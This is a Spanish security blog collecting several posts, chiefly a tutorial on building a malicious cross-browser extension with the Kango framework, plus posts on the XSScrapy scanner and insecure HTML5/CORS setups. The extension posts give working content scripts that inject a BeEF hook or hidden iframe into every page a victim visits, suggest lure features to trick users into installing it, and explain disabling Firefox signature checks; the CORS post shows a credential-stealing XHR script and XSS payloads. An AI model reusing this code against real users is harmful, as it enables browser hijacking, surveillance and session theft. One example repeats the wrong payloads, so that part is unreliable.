Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:

// ==UserScript== 
// @name THW Frame 
// @include http://*
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame =$(document.createElement('script')).attr({ 
    src:'http://127.0.0.1:3000/hook.js', 
    type:'text/javascript' 
}).appendTo(document.body);

Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.

Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.

Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:

python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…

Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.

A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.

Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.

Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).

 

En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.

Un saludo y Happy Hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 1.

abril 10, 2017 1 comentario

Uno de los grandes inconvenientes de los ataques del tipo “client-side” es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en “engañar” a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de “víctimas” potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:

– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.

– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.

– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).

– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.

– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)

Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas “maliciosas” debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.

¿Qué es Kangoo y cómo funciona?

Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque “client-site”, aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.

En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.

En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:

1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html

2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.

2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar “la máquina del tiempo”: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.

3. Dentro del directorio de Kangoo se encuentra el script “kango.py” el cual permite la creación y gestión de proyectos.

4. Crear el proyecto con el siguiente comando:

python kango.py create “THWExtension”

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

Input project name: THWExtension

[ INFO] Creating project…

[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension

5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.

En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de “src”:

“chrome”, “common”, “firefox”, “ie”, “safari”.

Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes “cross browser” que pueden funcionar en los navegadores soportados por el framework.

En el directorio “src/common“existen dos ficheros llamados “main.js” y “extension_info.js“, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de “content_scripts” y “background_scripts“, así como detalles visuales de la extensión como el icono.

En el fichero “main.js” de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones “core” de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.

Aunque la configuración por defecto solamente crea un “background script” definido en el fichero “main.js“, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear “background scripts” para las operaciones core de la extensión y “content scripts” para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los “content scripts” no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉

Primera extensión (muy, pero que muy básica) utilizando Kangoo.

Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.

{ 
    "content_scripts": [“content.js”], 
    "description": "THW Labs extension", 
    "creator": "Adastra", 
    "background_scripts": [ 
        "main.js" 
    ], 
    "homepage_url": "https://thehackerway.com/",
    "version": "0.1", 
    "browser_button": { 
        "caption": "THW Extension", 
        "icon": "icons/thw.png", 
        "tooltipText": "Make THW Blog great again"
    }, 
    "name": "THWExtension" 
} 

Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.

Background script

Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html

Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:

function THWExtension() { 
    var self = this; 
  kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() { 
        self.loadPage(); 
    }); 
} 
THWExtension.prototype = { 
    loadPage: function() { 
        kango.browser.tabs.create({url:'https://thehackerway.com/'}); 
    } 
}; 
var extension = new THWExtension(); 

Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.

Content script

Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:

// ==UserScript== 
// @name THW Frame 
// @include http://* 
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame = $(document.createElement('iframe')).attr({ 
    src: 'https://thehackerway.com', 
    width: 0 
}).appendTo(document.body); 

El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.

Construcción y despliegue.

Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).

python kango.py build THWExtension

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

[ INFO] Building chrome extension…

[ INFO] Building firefox extension…

[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:

1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.

2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:

IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’

3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.

4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador “about:config” y cambiar el valor de la propiedad “xpinstall.signatures.required” a false.

Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.

 

De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.

Un saludo y Happy Hack!
Adastra.

XSScrapy para procesos de crawling e identificación de vulnerabilidades

marzo 12, 2015 Deja un comentario

Scrapy es un framework que cuenta con varias utilidades para crear spiders y crawlers, se ha vuelto bastante popular y en cada nueva versión es mucho más estable y robusto. Hace algún tiempo comentaba en un vídeo de la serie de Hacking con Python los elementos que a mi parecer eran los más interesantes de Scrapy y cómo se puede utilizar desde cualquier script en Python. Dado que este tipo de actividades casi siempre suelen ir de la mano con procesos de minería y extracción de datos, a lo mejor no resulta tan llamativo para un pentester/hacker (o si), pero cuando hablamos de ejecutar un proceso de crawling no solo para extraer información, sino para detectar vulnerabilidades en aplicaciones web, seguro que más de uno comienza a ver que se pueden hacer cosas muy interesantes.
Si has visto como funciona un spider y la cantidad de elementos involucrados en un proceso de crawling, casi seguro que alguna vez te habrás preguntado ¿Y cómo puedo utilizar esto para ejecutar tareas de pentesting? Creo que es una pregunta bastante lógica, ya que además de visitar enlaces y analizar la estructura de un sitio web, también estás jugando con cabeceras HTTP, parámetros en el cuerpo de la petición o directamente en la URL, formularios, diferentes tipos de “content-types” y un largo etc. Son muchas las posibilidades que tienes a tu disposición.
Ahora bien, imaginar por un segundo que esto lo aplicamos no solamente a aplicaciones web en Internet, sino también a servicios ocultos del tipo HTTP en la red de TOR. A mi personalmente me ha parecido una idea de lo más interesante y ahora mismo me encuentro desarrollándola para la próxima versión Tortazo, algo de lo que pienso hablaros en un próximo articulo.

Si quieres utilizar Scrapy directamente y realizar pruebas de pentesting contra todos los enlaces encontrados y procesados por un Spider, no hay demasiados impedimentos para hacerlo, sin embargo existe una herramienta que ya lo hace por ti, dicha herramienta es XSScrapy.

  1. Instalación y uso de XSScrapy

XSScrapy es una aplicación fácil de instalar y de usar, como ya os imaginaréis se basa en Scrapy y permite encontrar vulnerabilidades del estilo XSS (tanto reflejado como almacenado) y también vulnerabilidades del tipo SQLi. El proyecto se encuentra alojado en el siguiente repositorio de GitHub https://github.com/DanMcInerney/xsscrapy y para instalarlo basta con utilizar el comando “pip” junto con el fichero de dependencias.

>git clone https://github.com/DanMcInerney/xsscrapy.git && cd xsscrapy

>pip install -r requirements.txt

A continuación se puede comenzar a probar la aplicación, que sobresale por su simplicidad.

>./xsscrapy.py -h

usage: xsscrapy.py [-h] [-u URL] [-l LOGIN] [-p PASSWORD] [-c CONNECTIONS]

[-r RATELIMIT] [–basic]

optional arguments:

-h, –help show this help message and exit

-u URL, –url URL URL to scan; -u http://example.com

-l LOGIN, –login LOGIN

Login name; -l danmcinerney

-p PASSWORD, –password PASSWORD

Password; -p pa$$w0rd

-c CONNECTIONS, –connections CONNECTIONS

Set the max number of simultaneous connections

allowed, default=30

-r RATELIMIT, –ratelimit RATELIMIT

Rate in requests per minute, default=0

–basic Use HTTP Basic Auth to login

Evidentemente la opción que resulta más interesante es en la que se puede definir la URL (-u/–url) del objetivo y a partir de allí, comenzar a ejecutar el procesamiento de enlaces y peticiones/respuestas HTTP. Otra opción interesante es la que permite establecer el número de conexiones simultaneas máximo contra el sitio web en cuestión (-c/–connections) algo que resulta muy practico para evitar que un WAF detecte el ataque y bloquee las peticiones desde la IP donde se realizan. Además, en el caso de que el sitio web requiera autenticación (digest o basic) es posible indicar un usuario y una contraseña con los interruptores -l y -p.
Ahora que tenemos una imagen general del funcionamiento del programa, podemos comenzar a utilizarlo con una aplicación web vulnerable. Existen aplicaciones web para realizar pruebas de penetración de todos los gustos y colores, algunas de ellas ya las he mencionado y explicado en varias ocasiones en este sitio, tales como DOJO InsecureWebApp, Hacme Casino, DVWA (Damn Vulnerable Web Application), WebGoat, etc. En esta ocasión vamos a utilizar Django-Moth, una aplicación web vulnerable escrita en Django que puedes descargar libremente desde aquí: https://github.com/andresriancho/django-moth pero si lo prefieres puedes utilizar cualquier otra, a efectos prácticos da un poco igual.

Después de descargar el proyecto del repositorio GitHub, se puede iniciar la aplicación Django de la siguiente forma:

>python manage runserver 8080

Performing system checks…

System check identified no issues (0 silenced).

February 18, 2015 – 17:05:08

Django version 1.7.1, using settings ‘djmoth.settings’

Starting development server at http://127.0.0.1:8080/

Quit the server with CONTROL-C.

El puerto por defecto es el 8000, pero como se puede apreciar se puede cambiar por cualquier otro. Recordar que se trata de una aplicación web con vulnerabilidades fáciles de explotar, evitar utilizarla en Internet y mucho menos, utilizar un puerto como el 80 que requiere privilegios de root.

Todas las vulnerabilidades de Django Moth se encuentran separadas por secciones, pero aun así, el crawler de XSScrapy, a la fecha de redactar este articulo, no permite establecer reglas para indicar en qué momento debe detenerse el ataque y cuales son los enlaces que se permite visitar. Tal falta de control es un problema a la larga, ya que muchas páginas tienen enlaces a otros dominios y es fácil que el proceso recursivo termine llevando al crawler a sitios que no deberían analizarse, así que hay que estar atentos a las trazas que arroja el programa en todo momento. Ahora se puede ejecutar algo como lo siguiente:

./xsscrapy.py -u http://localhost:8080/audit/os_commanding/blind_osc.py?cmd=ls

Se podrán ver varias trazas y los elementos que la herramienta va analizando en cada iteración. En el caso de interrumpir el proceso manualmente o que termine debido a que ya se han recorrido todos los enlaces, se genera automáticamente un fichero con nombre: “xsscrapy-vulns.txt” el cual contiene todos los resultados encontrados. Incluye cosas como las vulnerabilidades encontradas, puntos de inyección, parámetros utilizados, la petición y respuesta del servidor, etc.

Una herramienta interesante con mucho potencial y aunque a mi juicio se puede explotar mucho más el framework de Scrapy, puede resultar muy instructiva para aprender detalles avanzados del framework, eso si, solamente si estas dispuesto a ver el código y entender cómo funciona, algo que desde luego te recomendaría ya que tiene detalles técnicos muy valiosos y que te ayudarán a aprender ciertos “trucos” a la hora de crear tus propias herramientas.

Un saludo y Happy Hack!
Adastra.

Vulnerabilidades comunes en HTML5 – Configuraciones inseguras con CORS – Parte 1

octubre 8, 2014 4 comentarios

HTML5 en una especificación muy conocida que permite a los desarrolladores crear aplicaciones del tipo RIA (Rich Internet Applications) y aunque incluye características que se encuentran soportadas en prácticamente todos los navegadores modernos, algunas de dichas características pueden representar problemas de seguridad muy serios que en versiones previas de HTML5 no se presentaban. HTML5 ahora es una combinación de varios elementos que permiten mejorar la navegabilidad y la experiencia de usuario gracias al uso de componentes como XMLHttpRequest2 (XHR-Level2), Web Sockets, Cross Origin Resource Sharing (CORS), localstorage, webSQL y otras mejoras relacionadas con el renderizado de componentes HTML en el navegador web. Muchas de estas nuevas características recaen directamente sobre el navegador del cliente y habilitan un espectro de ataque mucho más amplio que con versiones antiguas de la especificación, algo que los atacantes en Internet ahora buscan y explotan diariamente.
Algunos de los escenarios de ataque más comunes en navegadores y aplicaciones que soportan HTML5 y que no se encuentran debidamente aseguradas se listan a continuación.

CORS y ataques CSRF

SOP (Same Origin Policy) es una política que ha sido bastante efectiva a la hora de impedir que un dominio concreto pueda acceder a recursos de un dominio distinto. Por este motivo, gracias a SOP un dominio determinado no puede acceder directamente a los recursos (tales como cookies, árbol DOM, comunicaciones, etc) de un dominio distinto del suyo. En la especificación de HTML5, se ha implementado una característica interesante llamada CORS (Cross Origin Resource Sharing), la cual relaja un poco la política SOP y permite que los recursos de un dominio concreto se puedan compartir con otros dominios. Para hacer uso de esta característica, solamente es necesario utilizar algunas cabeceras HTTP que un navegador con soporte a CORS, entenderá y utilizará adecuadamente. El problema con este mecanismo, es que si no se configura adecuadamente, podría permitirle a un atacante acceder a recursos sensibles de un dominio concreto (como cookies de sesión) y llevar a cabo un ataque típico del tipo CSRF. Las cabeceras HTTP que le dan sentido CORS y que permiten una potencial brecha de seguridad son las siguientes:
Petición
Origin, Access-Control-Request-Method, Access-Control-Request-Headers
Respuesta
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Expose-Headers, Access-Control-Allow-Max-Age, Access-Control-Allow-Allow-Methods, Access-Control-Allow-Allow-Headers

Estas cabeceras son específicas para el funcionamiento de CORS y en el caso de que se encuentren incluidas en las respuestas devueltas por un servidor web, indica que CORS es soportado y que posiblemente, un atacante puede acceder a recursos compartidos a los que normalmente no debería tener autorización.

Ejemplo:
Suponiendo que la víctima tiene abierto en su navegador varias pestañas con sitios web en los que se encuentra navegando. Uno de dichos sitios tiene CORS habilitado y las respuestas a las peticiones incluyen la cabecera “Access-Control-Allow-Origin” con el valor “*” y otro de dichos sitios web es controlado por un atacante en Internet.
El atacante enviará un script malicioso al navegador de la víctima que se encargará de utilizar el objeto XMLHttpRequest para ejecutar una petición POST hacia el dominio que tiene CORS habilitado, es un dominio *distinto* del dominio del atacante y dicha petición será silenciosa y pasará inadvertida para el usuario, ya que su navegabilidad no se verá afectada y los componentes HTML que se encuentra visualizando no han tenido ningún tipo de cambio.
Con las condiciones descritas anteriormente, el atacante podrá acceder a datos sensibles del usuario que se encuentra autenticado en la aplicación web vulnerable, accediendo de esta forma a recursos tan importantes como la cookie de sesión del sitio web en el que el usuario se ha identificado, dando lugar a una fuga de información y posteriormente a un ataque de suplantación de identidad utilizando la información de acceso (cookie de sesión) del usuario identificado. En efecto, estamos hablando de un ataque clásico del tipo CSRF.
La siguiente imagen enseña un sitio web con CORS habilitado y como se puede apreciar, la cabecera “Access-Control-Allow-Origin” tiene el valor “*”

Sin nombre

Si el usuario se encuentra logueado y navega a un sitio web controlado por un atacante, el cual contiene un script como el que se enseña a continuación, el atacante podrá acceder a información sensible que le permitirá suplantar la identidad del usuario.

	<script language= “javascript” type= “text/javascript">
	function corsrequest() {
		var http;
		http = XMLHttpRequest();
		http.open(“POST”, “http://vulncors-site.com/”, true);
		http.setRequestHeader(“Content-Type”, “text/plain”);
		http.withCredentials= “true”;
		http.onreadystatechange = function() {
		if (http.readyState == 4) {
			var response = http.responseText
			document.getElementById(“responseFromVictim”).innerHTML = response;
		}
	}
	http.send(null)
	}
	</script>

Como se puede apreciar, el atacante realizará una petición “POST” al sitio web vulnerable con el fin de recuperar información sobre el usuario identificado en el sistema, para tal fin incluye el atributo “withCredentials” con el valor “true” para que el servidor web replique en la respuesta el contenido de la cookie de sesión del usuario. Hasta este punto, el atacante tiene todos los elementos necesarios para suplantar la identidad del usuario sin mayores dificultades, produciendo una vulnerabilidad del tipo CSRF.

CORS y CORJacking
Continuando con la explicación sobre las posibles brechas de seguridad que pueden incluirse con CORS, otro tipo de vulnerabilidad que se presenta en las aplicaciones web RIA con HTML5 es la conocida como CORJacking, la cual consiste en la capacidad que tiene un atacante de modificar dinámicamente la estructura DOM de un sitio web con CORS habilitado y mal configurado. De esta forma, el atacante podrá modificar algunos atributos de los elementos cargados en el árbol DOM del sitio web con CORS habilitado e incorrectamente configurado, para controlar la interacción del usuario con los contenidos del sitio web vulnerable.

Ejemplo:
Suponiendo que una aplicación web con CORS habilitado y mal configurado tiene un elemento dinámico como por ejemplo un fichero Flash, SilverLight o un fichero de vídeo o audio. Un atacante puede suplantar dicho contenido navegando por la estructura DOM y modificar la ubicación de dicho recurso por otra ruta que apunte a un recurso cuidadosamente creado por el atacante. Si el contenido dinámico servido por el atacante, tiene la misma apariencia visual que el contenido original de la aplicación web, el usuario no notará la diferencia y creerá que interactúa con el elemento original. Más grave aun, cuando se trata de contenidos Flash o similares que intervienen en operaciones de negocio de la aplicación, como por ejemplo un componente en Flash para recibir las credenciales de acceso de los usuarios.

Etiquetas, atributos y eventos HTML5 inseguros

Algunos etiquetas de las especificaciones anteriores de HTML contienen atributos y eventos muy interesantes que permiten que un usuario pueda interactuar de una forma mucho más amigable con dichos elementos, sin embargo, muchos de los nuevos atributos y etiquetas en HTML5 permiten la ejecución de código JavaScript, algo de lo que se podría aprovechar un atacante para producir vulnerabilidades XSS o CSRF.

Ejemplo:
Hay varios atributos y etiquetas nuevas en HTML5 que permiten la ejecución de código JavaScript de forma nativa. Una de las más comunes, es la etiqueta “video” y su atributo “onerror” que se activará automáticamente cuando el recurso que debe cargar la etiqueta “video” no puede cargarse.

<video source onerror="javascript:alert(‘XSS’)">

El atributo “autofocus” que en HTML5 se encuentra disponible en todos los elementos HTML de entrada, también puede representar un problema cuando no se valida adecuadamente el valor del atributo “onfocus” en el momento en el que se recarga la página.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Otro atributo potencialmente peligroso es “formaction” de la etiqueta “form”, el cual también admite la ejecución de código JavaScript.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Existen varias etiquetas y atributos que son consideradas peligrosas si no se aplican las validaciones de datos adecuadas, para ver una lista mucho más completa, se recomienda visitar el sitio HTML5 Security Cheatsheet: https://html5sec.org/

En una próxima entrada, más sobre riesgos y vulnerabilidades cuando en el uso de las nuevas características implementadas en HTML5

Un saludo y Happy Hack!

A %d blogueros les gusta esto: